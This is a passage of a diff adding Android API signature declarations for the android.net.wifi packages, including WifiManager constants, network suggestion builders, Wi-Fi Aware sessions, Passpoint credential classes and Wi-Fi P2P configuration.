+    field public static final String EXTRA_RESULTS_UPDATED = "resultsUpdated";
+    field public static final String EXTRA_SCAN_AVAILABLE = "android.net.wifi.extra.SCAN_AVAILABLE";
+    field @Deprecated public static final String EXTRA_SUPPLICANT_CONNECTED = "connected";
+    field @Deprecated public static final String EXTRA_SUPPLICANT_ERROR = "supplicantError";
+    field @Deprecated public static final String EXTRA_WIFI_INFO = "wifiInfo";
+    field public static final String EXTRA_WIFI_STATE = "wifi_state";
+    field public static final String NETWORK_IDS_CHANGED_ACTION = "android.net.wifi.NETWORK_IDS_CHANGED";
+    field public static final String NETWORK_STATE_CHANGED_ACTION = "android.net.wifi.STATE_CHANGE";
+    field public static final String RSSI_CHANGED_ACTION = "android.net.wifi.RSSI_CHANGED";
+    field public static final String SCAN_RESULTS_AVAILABLE_ACTION = "android.net.wifi.SCAN_RESULTS";
+    field public static final int STATUS_NETWORK_SUGGESTIONS_ERROR_ADD_DUPLICATE = 3; // 0x3
+    field public static final int STATUS_NETWORK_SUGGESTIONS_ERROR_ADD_EXCEEDS_MAX_PER_APP = 4; // 0x4
+    field public static final int STATUS_NETWORK_SUGGESTIONS_ERROR_ADD_INVALID = 7; // 0x7
+    field public static final int STATUS_NETWORK_SUGGESTIONS_ERROR_ADD_NOT_ALLOWED = 6; // 0x6
+    field public static final int STATUS_NETWORK_SUGGESTIONS_ERROR_APP_DISALLOWED = 2; // 0x2
+    field public static final int STATUS_NETWORK_SUGGESTIONS_ERROR_INTERNAL = 1; // 0x1
+    field public static final int STATUS_NETWORK_SUGGESTIONS_ERROR_REMOVE_INVALID = 5; // 0x5
+    field public static final int STATUS_NETWORK_SUGGESTIONS_SUCCESS = 0; // 0x0
+    field public static final int STATUS_SUGGESTION_APPROVAL_APPROVED_BY_CARRIER_PRIVILEGE = 4; // 0x4
+    field public static final int STATUS_SUGGESTION_APPROVAL_APPROVED_BY_USER = 2; // 0x2
+    field public static final int STATUS_SUGGESTION_APPROVAL_PENDING = 1; // 0x1
+    field public static final int STATUS_SUGGESTION_APPROVAL_REJECTED_BY_USER = 3; // 0x3
+    field public static final int STATUS_SUGGESTION_APPROVAL_UNKNOWN = 0; // 0x0
+    field public static final int STATUS_SUGGESTION_CONNECTION_FAILURE_ASSOCIATION = 1; // 0x1
+    field public static final int STATUS_SUGGESTION_CONNECTION_FAILURE_AUTHENTICATION = 2; // 0x2
+    field public static final int STATUS_SUGGESTION_CONNECTION_FAILURE_IP_PROVISIONING = 3; // 0x3
+    field public static final int STATUS_SUGGESTION_CONNECTION_FAILURE_UNKNOWN = 0; // 0x0
+    field @Deprecated public static final String SUPPLICANT_CONNECTION_CHANGE_ACTION = "android.net.wifi.supplicant.CONNECTION_CHANGE";
+    field @Deprecated public static final String SUPPLICANT_STATE_CHANGED_ACTION = "android.net.wifi.supplicant.STATE_CHANGE";
+    field public static final String UNKNOWN_SSID = "<unknown ssid>";
+    field @Deprecated public static final int WIFI_MODE_FULL = 1; // 0x1
+    field public static final int WIFI_MODE_FULL_HIGH_PERF = 3; // 0x3
+    field public static final int WIFI_MODE_FULL_LOW_LATENCY = 4; // 0x4
+    field @Deprecated public static final int WIFI_MODE_SCAN_ONLY = 2; // 0x2
+    field public static final String WIFI_STATE_CHANGED_ACTION = "android.net.wifi.WIFI_STATE_CHANGED";
+    field public static final int WIFI_STATE_DISABLED = 1; // 0x1
+    field public static final int WIFI_STATE_DISABLING = 0; // 0x0
+    field public static final int WIFI_STATE_ENABLED = 3; // 0x3
+    field public static final int WIFI_STATE_ENABLING = 2; // 0x2
+    field public static final int WIFI_STATE_UNKNOWN = 4; // 0x4
+    field @Deprecated public static final int WPS_AUTH_FAILURE = 6; // 0x6
+    field @Deprecated public static final int WPS_OVERLAP_ERROR = 3; // 0x3
+    field @Deprecated public static final int WPS_TIMED_OUT = 7; // 0x7
+    field @Deprecated public static final int WPS_TKIP_ONLY_PROHIBITED = 5; // 0x5
+    field @Deprecated public static final int WPS_WEP_PROHIBITED = 4; // 0x4
+  }
+
+  public static final class WifiManager.AddNetworkResult implements android.os.Parcelable {
+    ctor public WifiManager.AddNetworkResult(int, int);
+    method public int describeContents();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.WifiManager.AddNetworkResult> CREATOR;
+    field public static final int STATUS_ADD_PASSPOINT_FAILURE = 3; // 0x3
+    field public static final int STATUS_ADD_WIFI_CONFIG_FAILURE = 4; // 0x4
+    field public static final int STATUS_FAILURE_UNKNOWN = 1; // 0x1
+    field public static final int STATUS_FAILURE_UPDATE_NETWORK_KEYS = 9; // 0x9
+    field public static final int STATUS_INVALID_CONFIGURATION = 5; // 0x5
+    field public static final int STATUS_INVALID_CONFIGURATION_ENTERPRISE = 10; // 0xa
+    field public static final int STATUS_NO_PERMISSION = 2; // 0x2
+    field public static final int STATUS_NO_PERMISSION_MODIFY_CONFIG = 6; // 0x6
+    field public static final int STATUS_NO_PERMISSION_MODIFY_MAC_RANDOMIZATION = 8; // 0x8
+    field public static final int STATUS_NO_PERMISSION_MODIFY_PROXY_SETTING = 7; // 0x7
+    field public static final int STATUS_SUCCESS = 0; // 0x0
+    field public final int networkId;
+    field public final int statusCode;
+  }
+
+  public static class WifiManager.LocalOnlyHotspotCallback {
+    ctor public WifiManager.LocalOnlyHotspotCallback();
+    method public void onFailed(int);
+    method public void onStarted(android.net.wifi.WifiManager.LocalOnlyHotspotReservation);
+    method public void onStopped();
+    field public static final int ERROR_GENERIC = 2; // 0x2
+    field public static final int ERROR_INCOMPATIBLE_MODE = 3; // 0x3
+    field public static final int ERROR_NO_CHANNEL = 1; // 0x1
+    field public static final int ERROR_TETHERING_DISALLOWED = 4; // 0x4
+  }
+
+  public class WifiManager.LocalOnlyHotspotReservation implements java.lang.AutoCloseable {
+    method public void close();
+    method @NonNull public android.net.wifi.SoftApConfiguration getSoftApConfiguration();
+    method @Deprecated @Nullable public android.net.wifi.WifiConfiguration getWifiConfiguration();
+  }
+
+  public class WifiManager.MulticastLock {
+    method public void acquire();
+    method public boolean isHeld();
+    method public void release();
+    method public void setReferenceCounted(boolean);
+  }
+
+  public abstract static class WifiManager.ScanResultsCallback {
+    ctor public WifiManager.ScanResultsCallback();
+    method public abstract void onScanResultsAvailable();
+  }
+
+  public abstract static class WifiManager.SubsystemRestartTrackingCallback {
+    ctor public WifiManager.SubsystemRestartTrackingCallback();
+    method public abstract void onSubsystemRestarted();
+    method public abstract void onSubsystemRestarting();
+  }
+
+  public static interface WifiManager.SuggestionConnectionStatusListener {
+    method public void onConnectionStatus(@NonNull android.net.wifi.WifiNetworkSuggestion, int);
+  }
+
+  public static interface WifiManager.SuggestionUserApprovalStatusListener {
+    method public void onUserApprovalStatusChange(int);
+  }
+
+  public class WifiManager.WifiLock {
+    method public void acquire();
+    method public boolean isHeld();
+    method public void release();
+    method public void setReferenceCounted(boolean);
+    method public void setWorkSource(android.os.WorkSource);
+  }
+
+  @Deprecated public abstract static class WifiManager.WpsCallback {
+    ctor @Deprecated public WifiManager.WpsCallback();
+    method @Deprecated public abstract void onFailed(int);
+    method @Deprecated public abstract void onStarted(String);
+    method @Deprecated public abstract void onSucceeded();
+  }
+
+  public final class WifiNetworkSpecifier extends android.net.NetworkSpecifier implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getBand();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.WifiNetworkSpecifier> CREATOR;
+  }
+
+  public static final class WifiNetworkSpecifier.Builder {
+    ctor public WifiNetworkSpecifier.Builder();
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier build();
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setBand(int);
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setBssid(@NonNull android.net.MacAddress);
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setBssidPattern(@NonNull android.net.MacAddress, @NonNull android.net.MacAddress);
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setIsEnhancedOpen(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setIsHiddenSsid(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setSsid(@NonNull String);
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setSsidPattern(@NonNull android.os.PatternMatcher);
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setWpa2EnterpriseConfig(@NonNull android.net.wifi.WifiEnterpriseConfig);
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setWpa2Passphrase(@NonNull String);
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setWpa3Enterprise192BitModeConfig(@NonNull android.net.wifi.WifiEnterpriseConfig);
+    method @Deprecated @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setWpa3EnterpriseConfig(@NonNull android.net.wifi.WifiEnterpriseConfig);
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setWpa3EnterpriseStandardModeConfig(@NonNull android.net.wifi.WifiEnterpriseConfig);
+    method @NonNull public android.net.wifi.WifiNetworkSpecifier.Builder setWpa3Passphrase(@NonNull String);
+  }
+
+  public final class WifiNetworkSuggestion implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.net.MacAddress getBssid();
+    method @Nullable public android.net.wifi.WifiEnterpriseConfig getEnterpriseConfig();
+    method @Nullable public String getPassphrase();
+    method @Nullable public android.net.wifi.hotspot2.PasspointConfiguration getPasspointConfig();
+    method @IntRange(from=0) public int getPriority();
+    method @IntRange(from=0) public int getPriorityGroup();
+    method @Nullable public String getSsid();
+    method public int getSubscriptionId();
+    method public boolean isAppInteractionRequired();
+    method public boolean isCarrierMerged();
+    method public boolean isCredentialSharedWithUser();
+    method public boolean isEnhancedOpen();
+    method public boolean isHiddenSsid();
+    method public boolean isInitialAutojoinEnabled();
+    method public boolean isMetered();
+    method public boolean isUntrusted();
+    method public boolean isUserInteractionRequired();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.WifiNetworkSuggestion> CREATOR;
+    field public static final int RANDOMIZATION_NON_PERSISTENT = 1; // 0x1
+    field public static final int RANDOMIZATION_PERSISTENT = 0; // 0x0
+  }
+
+  public static final class WifiNetworkSuggestion.Builder {
+    ctor public WifiNetworkSuggestion.Builder();
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion build();
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setBssid(@NonNull android.net.MacAddress);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setCarrierMerged(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setCredentialSharedWithUser(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setIsAppInteractionRequired(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setIsEnhancedOpen(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setIsHiddenSsid(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setIsInitialAutojoinEnabled(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setIsMetered(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setIsUserInteractionRequired(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setIsWpa3SaeH2eOnlyModeEnabled(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setMacRandomizationSetting(int);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setPasspointConfig(@NonNull android.net.wifi.hotspot2.PasspointConfiguration);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setPriority(@IntRange(from=0) int);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setPriorityGroup(@IntRange(from=0) int);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setSsid(@NonNull String);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setSubscriptionId(int);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setUntrusted(boolean);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setWapiEnterpriseConfig(@NonNull android.net.wifi.WifiEnterpriseConfig);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setWapiPassphrase(@NonNull String);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setWpa2EnterpriseConfig(@NonNull android.net.wifi.WifiEnterpriseConfig);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setWpa2Passphrase(@NonNull String);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setWpa3Enterprise192BitModeConfig(@NonNull android.net.wifi.WifiEnterpriseConfig);
+    method @Deprecated @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setWpa3EnterpriseConfig(@NonNull android.net.wifi.WifiEnterpriseConfig);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setWpa3EnterpriseStandardModeConfig(@NonNull android.net.wifi.WifiEnterpriseConfig);
+    method @NonNull public android.net.wifi.WifiNetworkSuggestion.Builder setWpa3Passphrase(@NonNull String);
+  }
+
+  public class WpsInfo implements android.os.Parcelable {
+    ctor public WpsInfo();
+    ctor public WpsInfo(android.net.wifi.WpsInfo);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public String BSSID;
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.WpsInfo> CREATOR;
+    field public static final int DISPLAY = 1; // 0x1
+    field public static final int INVALID = 4; // 0x4
+    field public static final int KEYPAD = 2; // 0x2
+    field public static final int LABEL = 3; // 0x3
+    field public static final int PBC = 0; // 0x0
+    field public String pin;
+    field public int setup;
+  }
+
+}
+
+package android.net.wifi.aware {
+
+  public class AttachCallback {
+    ctor public AttachCallback();
+    method public void onAttachFailed();
+    method public void onAttached(android.net.wifi.aware.WifiAwareSession);
+  }
+
+  public final class AwareResources implements android.os.Parcelable {
+    ctor public AwareResources(@IntRange(from=0) int, @IntRange(from=0) int, @IntRange(from=0) int);
+    method public int describeContents();
+    method @IntRange(from=0) public int getAvailableDataPathsCount();
+    method @IntRange(from=0) public int getAvailablePublishSessionsCount();
+    method @IntRange(from=0) public int getAvailableSubscribeSessionsCount();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.aware.AwareResources> CREATOR;
+  }
+
+  public final class Characteristics implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getMaxMatchFilterLength();
+    method public int getMaxServiceNameLength();
+    method public int getMaxServiceSpecificInfoLength();
+    method public int getSupportedCipherSuites();
+    method public boolean isInstantCommunicationModeSupported();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.aware.Characteristics> CREATOR;
+    field public static final int WIFI_AWARE_CIPHER_SUITE_NCS_SK_128 = 1; // 0x1
+    field public static final int WIFI_AWARE_CIPHER_SUITE_NCS_SK_256 = 2; // 0x2
+  }
+
+  public class DiscoverySession implements java.lang.AutoCloseable {
+    method public void close();
+    method @Deprecated public android.net.NetworkSpecifier createNetworkSpecifierOpen(@NonNull android.net.wifi.aware.PeerHandle);
+    method @Deprecated public android.net.NetworkSpecifier createNetworkSpecifierPassphrase(@NonNull android.net.wifi.aware.PeerHandle, @NonNull String);
+    method public void sendMessage(@NonNull android.net.wifi.aware.PeerHandle, int, @Nullable byte[]);
+  }
+
+  public class DiscoverySessionCallback {
+    ctor public DiscoverySessionCallback();
+    method public void onMessageReceived(android.net.wifi.aware.PeerHandle, byte[]);
+    method public void onMessageSendFailed(int);
+    method public void onMessageSendSucceeded(int);
+    method public void onPublishStarted(@NonNull android.net.wifi.aware.PublishDiscoverySession);
+    method public void onServiceDiscovered(android.net.wifi.aware.PeerHandle, byte[], java.util.List<byte[]>);
+    method public void onServiceDiscoveredWithinRange(android.net.wifi.aware.PeerHandle, byte[], java.util.List<byte[]>, int);
+    method public void onServiceLost(@NonNull android.net.wifi.aware.PeerHandle, int);
+    method public void onSessionConfigFailed();
+    method public void onSessionConfigUpdated();
+    method public void onSessionTerminated();
+    method public void onSubscribeStarted(@NonNull android.net.wifi.aware.SubscribeDiscoverySession);
+  }
+
+  public class IdentityChangedListener {
+    ctor public IdentityChangedListener();
+    method public void onIdentityChanged(byte[]);
+  }
+
+  public final class ParcelablePeerHandle extends android.net.wifi.aware.PeerHandle implements android.os.Parcelable {
+    ctor public ParcelablePeerHandle(@NonNull android.net.wifi.aware.PeerHandle);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.aware.ParcelablePeerHandle> CREATOR;
+  }
+
+  public class PeerHandle {
+  }
+
+  public final class PublishConfig implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.aware.PublishConfig> CREATOR;
+    field public static final int PUBLISH_TYPE_SOLICITED = 1; // 0x1
+    field public static final int PUBLISH_TYPE_UNSOLICITED = 0; // 0x0
+  }
+
+  public static final class PublishConfig.Builder {
+    ctor public PublishConfig.Builder();
+    method public android.net.wifi.aware.PublishConfig build();
+    method public android.net.wifi.aware.PublishConfig.Builder setMatchFilter(@Nullable java.util.List<byte[]>);
+    method public android.net.wifi.aware.PublishConfig.Builder setPublishType(int);
+    method public android.net.wifi.aware.PublishConfig.Builder setRangingEnabled(boolean);
+    method public android.net.wifi.aware.PublishConfig.Builder setServiceName(@NonNull String);
+    method public android.net.wifi.aware.PublishConfig.Builder setServiceSpecificInfo(@Nullable byte[]);
+    method public android.net.wifi.aware.PublishConfig.Builder setTerminateNotificationEnabled(boolean);
+    method public android.net.wifi.aware.PublishConfig.Builder setTtlSec(int);
+  }
+
+  public class PublishDiscoverySession extends android.net.wifi.aware.DiscoverySession {
+    method public void updatePublish(@NonNull android.net.wifi.aware.PublishConfig);
+  }
+
+  public final class SubscribeConfig implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.aware.SubscribeConfig> CREATOR;
+    field public static final int SUBSCRIBE_TYPE_ACTIVE = 1; // 0x1
+    field public static final int SUBSCRIBE_TYPE_PASSIVE = 0; // 0x0
+  }
+
+  public static final class SubscribeConfig.Builder {
+    ctor public SubscribeConfig.Builder();
+    method public android.net.wifi.aware.SubscribeConfig build();
+    method public android.net.wifi.aware.SubscribeConfig.Builder setMatchFilter(@Nullable java.util.List<byte[]>);
+    method public android.net.wifi.aware.SubscribeConfig.Builder setMaxDistanceMm(int);
+    method public android.net.wifi.aware.SubscribeConfig.Builder setMinDistanceMm(int);
+    method public android.net.wifi.aware.SubscribeConfig.Builder setServiceName(@NonNull String);
+    method public android.net.wifi.aware.SubscribeConfig.Builder setServiceSpecificInfo(@Nullable byte[]);
+    method public android.net.wifi.aware.SubscribeConfig.Builder setSubscribeType(int);
+    method public android.net.wifi.aware.SubscribeConfig.Builder setTerminateNotificationEnabled(boolean);
+    method public android.net.wifi.aware.SubscribeConfig.Builder setTtlSec(int);
+  }
+
+  public class SubscribeDiscoverySession extends android.net.wifi.aware.DiscoverySession {
+    method public void updateSubscribe(@NonNull android.net.wifi.aware.SubscribeConfig);
+  }
+
+  public class WifiAwareManager {
+    method public void attach(@NonNull android.net.wifi.aware.AttachCallback, @Nullable android.os.Handler);
+    method public void attach(@NonNull android.net.wifi.aware.AttachCallback, @NonNull android.net.wifi.aware.IdentityChangedListener, @Nullable android.os.Handler);
+    method @Nullable public android.net.wifi.aware.AwareResources getAvailableAwareResources();
+    method @Nullable public android.net.wifi.aware.Characteristics getCharacteristics();
+    method public boolean isAvailable();
+    method public boolean isDeviceAttached();
+    method public boolean isInstantCommunicationModeEnabled();
+    field public static final String ACTION_WIFI_AWARE_STATE_CHANGED = "android.net.wifi.aware.action.WIFI_AWARE_STATE_CHANGED";
+    field public static final int WIFI_AWARE_DATA_PATH_ROLE_INITIATOR = 0; // 0x0
+    field public static final int WIFI_AWARE_DATA_PATH_ROLE_RESPONDER = 1; // 0x1
+    field public static final int WIFI_AWARE_DISCOVERY_LOST_REASON_PEER_NOT_VISIBLE = 1; // 0x1
+    field public static final int WIFI_AWARE_DISCOVERY_LOST_REASON_UNKNOWN = 0; // 0x0
+  }
+
+  public final class WifiAwareNetworkInfo implements android.os.Parcelable android.net.TransportInfo {
+    method public int describeContents();
+    method @Nullable public java.net.Inet6Address getPeerIpv6Addr();
+    method public int getPort();
+    method public int getTransportProtocol();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.aware.WifiAwareNetworkInfo> CREATOR;
+  }
+
+  public final class WifiAwareNetworkSpecifier extends android.net.NetworkSpecifier implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.aware.WifiAwareNetworkSpecifier> CREATOR;
+  }
+
+  public static final class WifiAwareNetworkSpecifier.Builder {
+    ctor public WifiAwareNetworkSpecifier.Builder(@NonNull android.net.wifi.aware.DiscoverySession, @NonNull android.net.wifi.aware.PeerHandle);
+    ctor public WifiAwareNetworkSpecifier.Builder(@NonNull android.net.wifi.aware.PublishDiscoverySession);
+    method @NonNull public android.net.wifi.aware.WifiAwareNetworkSpecifier build();
+    method @NonNull public android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder setPmk(@NonNull byte[]);
+    method @NonNull public android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder setPort(@IntRange(from=0, to=65535) int);
+    method @NonNull public android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder setPskPassphrase(@NonNull String);
+    method @NonNull public android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder setTransportProtocol(@IntRange(from=0, to=255) int);
+  }
+
+  public class WifiAwareSession implements java.lang.AutoCloseable {
+    method public void close();
+    method @Deprecated public android.net.NetworkSpecifier createNetworkSpecifierOpen(int, @NonNull byte[]);
+    method @Deprecated public android.net.NetworkSpecifier createNetworkSpecifierPassphrase(int, @NonNull byte[], @NonNull String);
+    method public void publish(@NonNull android.net.wifi.aware.PublishConfig, @NonNull android.net.wifi.aware.DiscoverySessionCallback, @Nullable android.os.Handler);
+    method public void subscribe(@NonNull android.net.wifi.aware.SubscribeConfig, @NonNull android.net.wifi.aware.DiscoverySessionCallback, @Nullable android.os.Handler);
+  }
+
+}
+
+package android.net.wifi.hotspot2 {
+
+  public final class ConfigParser {
+    method public static android.net.wifi.hotspot2.PasspointConfiguration parsePasspointConfig(String, byte[]);
+  }
+
+  public final class PasspointConfiguration implements android.os.Parcelable {
+    ctor public PasspointConfiguration();
+    ctor public PasspointConfiguration(android.net.wifi.hotspot2.PasspointConfiguration);
+    method public int describeContents();
+    method public android.net.wifi.hotspot2.pps.Credential getCredential();
+    method @Nullable public String getDecoratedIdentityPrefix();
+    method public android.net.wifi.hotspot2.pps.HomeSp getHomeSp();
+    method public long getSubscriptionExpirationTimeMillis();
+    method @NonNull public String getUniqueId();
+    method public boolean isOsuProvisioned();
+    method public void setCredential(android.net.wifi.hotspot2.pps.Credential);
+    method public void setDecoratedIdentityPrefix(@Nullable String);
+    method public void setHomeSp(android.net.wifi.hotspot2.pps.HomeSp);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.hotspot2.PasspointConfiguration> CREATOR;
+  }
+
+}
+
+package android.net.wifi.hotspot2.omadm {
+
+  public final class PpsMoParser {
+    method public static android.net.wifi.hotspot2.PasspointConfiguration parseMoText(String);
+  }
+
+}
+
+package android.net.wifi.hotspot2.pps {
+
+  public final class Credential implements android.os.Parcelable {
+    ctor public Credential();
+    ctor public Credential(android.net.wifi.hotspot2.pps.Credential);
+    method public int describeContents();
+    method public java.security.cert.X509Certificate getCaCertificate();
+    method public android.net.wifi.hotspot2.pps.Credential.CertificateCredential getCertCredential();
+    method public java.security.cert.X509Certificate[] getClientCertificateChain();
+    method public java.security.PrivateKey getClientPrivateKey();
+    method public String getRealm();
+    method public android.net.wifi.hotspot2.pps.Credential.SimCredential getSimCredential();
+    method public android.net.wifi.hotspot2.pps.Credential.UserCredential getUserCredential();
+    method public void setCaCertificate(java.security.cert.X509Certificate);
+    method public void setCertCredential(android.net.wifi.hotspot2.pps.Credential.CertificateCredential);
+    method public void setClientCertificateChain(java.security.cert.X509Certificate[]);
+    method public void setClientPrivateKey(java.security.PrivateKey);
+    method public void setRealm(String);
+    method public void setSimCredential(android.net.wifi.hotspot2.pps.Credential.SimCredential);
+    method public void setUserCredential(android.net.wifi.hotspot2.pps.Credential.UserCredential);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.hotspot2.pps.Credential> CREATOR;
+  }
+
+  public static final class Credential.CertificateCredential implements android.os.Parcelable {
+    ctor public Credential.CertificateCredential();
+    ctor public Credential.CertificateCredential(android.net.wifi.hotspot2.pps.Credential.CertificateCredential);
+    method public int describeContents();
+    method public byte[] getCertSha256Fingerprint();
+    method public String getCertType();
+    method public void setCertSha256Fingerprint(byte[]);
+    method public void setCertType(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.hotspot2.pps.Credential.CertificateCredential> CREATOR;
+  }
+
+  public static final class Credential.SimCredential implements android.os.Parcelable {
+    ctor public Credential.SimCredential();
+    ctor public Credential.SimCredential(android.net.wifi.hotspot2.pps.Credential.SimCredential);
+    method public int describeContents();
+    method public int getEapType();
+    method public String getImsi();
+    method public void setEapType(int);
+    method public void setImsi(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.hotspot2.pps.Credential.SimCredential> CREATOR;
+  }
+
+  public static final class Credential.UserCredential implements android.os.Parcelable {
+    ctor public Credential.UserCredential();
+    ctor public Credential.UserCredential(android.net.wifi.hotspot2.pps.Credential.UserCredential);
+    method public int describeContents();
+    method public int getEapType();
+    method public String getNonEapInnerMethod();
+    method public String getPassword();
+    method public String getUsername();
+    method public void setEapType(int);
+    method public void setNonEapInnerMethod(String);
+    method public void setPassword(String);
+    method public void setUsername(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.hotspot2.pps.Credential.UserCredential> CREATOR;
+  }
+
+  public final class HomeSp implements android.os.Parcelable {
+    ctor public HomeSp();
+    ctor public HomeSp(android.net.wifi.hotspot2.pps.HomeSp);
+    method public int describeContents();
+    method public String getFqdn();
+    method public String getFriendlyName();
+    method @Nullable public long[] getMatchAllOis();
+    method @Nullable public long[] getMatchAnyOis();
+    method @NonNull public java.util.Collection<java.lang.String> getOtherHomePartnersList();
+    method public long[] getRoamingConsortiumOis();
+    method public void setFqdn(String);
+    method public void setFriendlyName(String);
+    method public void setMatchAllOis(@Nullable long[]);
+    method public void setMatchAnyOis(@Nullable long[]);
+    method public void setOtherHomePartnersList(@NonNull java.util.Collection<java.lang.String>);
+    method public void setRoamingConsortiumOis(long[]);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.hotspot2.pps.HomeSp> CREATOR;
+  }
+
+}
+
+package android.net.wifi.p2p {
+
+  public class WifiP2pConfig implements android.os.Parcelable {
+    ctor public WifiP2pConfig();
+    ctor public WifiP2pConfig(android.net.wifi.p2p.WifiP2pConfig);
+    method public int describeContents();
+    method public int getGroupOwnerBand();
+    method public int getNetworkId();
+    method @Nullable public String getNetworkName();
+    method @Nullable public String getPassphrase();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.p2p.WifiP2pConfig> CREATOR;
+    field public static final int GROUP_OWNER_BAND_2GHZ = 1; // 0x1
+    field public static final int GROUP_OWNER_BAND_5GHZ = 2; // 0x2
+    field public static final int GROUP_OWNER_BAND_AUTO = 0; // 0x0
+    field public static final int GROUP_OWNER_INTENT_AUTO = -1; // 0xffffffff
+    field public static final int GROUP_OWNER_INTENT_MAX = 15; // 0xf
+    field public static final int GROUP_OWNER_INTENT_MIN = 0; // 0x0
+    field public String deviceAddress;
+    field @IntRange(from=0, to=15) public int groupOwnerIntent;
+    field public android.net.wifi.WpsInfo wps;
+  }
+
+  public static final class WifiP2pConfig.Builder {
+    ctor public WifiP2pConfig.Builder();
+    method @NonNull public android.net.wifi.p2p.WifiP2pConfig build();
+    method @NonNull public android.net.wifi.p2p.WifiP2pConfig.Builder enablePersistentMode(boolean);
+    method @NonNull public android.net.wifi.p2p.WifiP2pConfig.Builder setDeviceAddress(@Nullable android.net.MacAddress);
+    method @NonNull public android.net.wifi.p2p.WifiP2pConfig.Builder setGroupOperatingBand(int);
+    method @NonNull public android.net.wifi.p2p.WifiP2pConfig.Builder setGroupOperatingFrequency(int);
+    method @NonNull public android.net.wifi.p2p.WifiP2pConfig.Builder setNetworkName(@NonNull String);
+    method @NonNull public android.net.wifi.p2p.WifiP2pConfig.Builder setPassphrase(@NonNull String);
+  }
+
+  public class WifiP2pDevice implements android.os.Parcelable {
+    ctor public WifiP2pDevice();
+    ctor public WifiP2pDevice(android.net.wifi.p2p.WifiP2pDevice);
+    method public int describeContents();
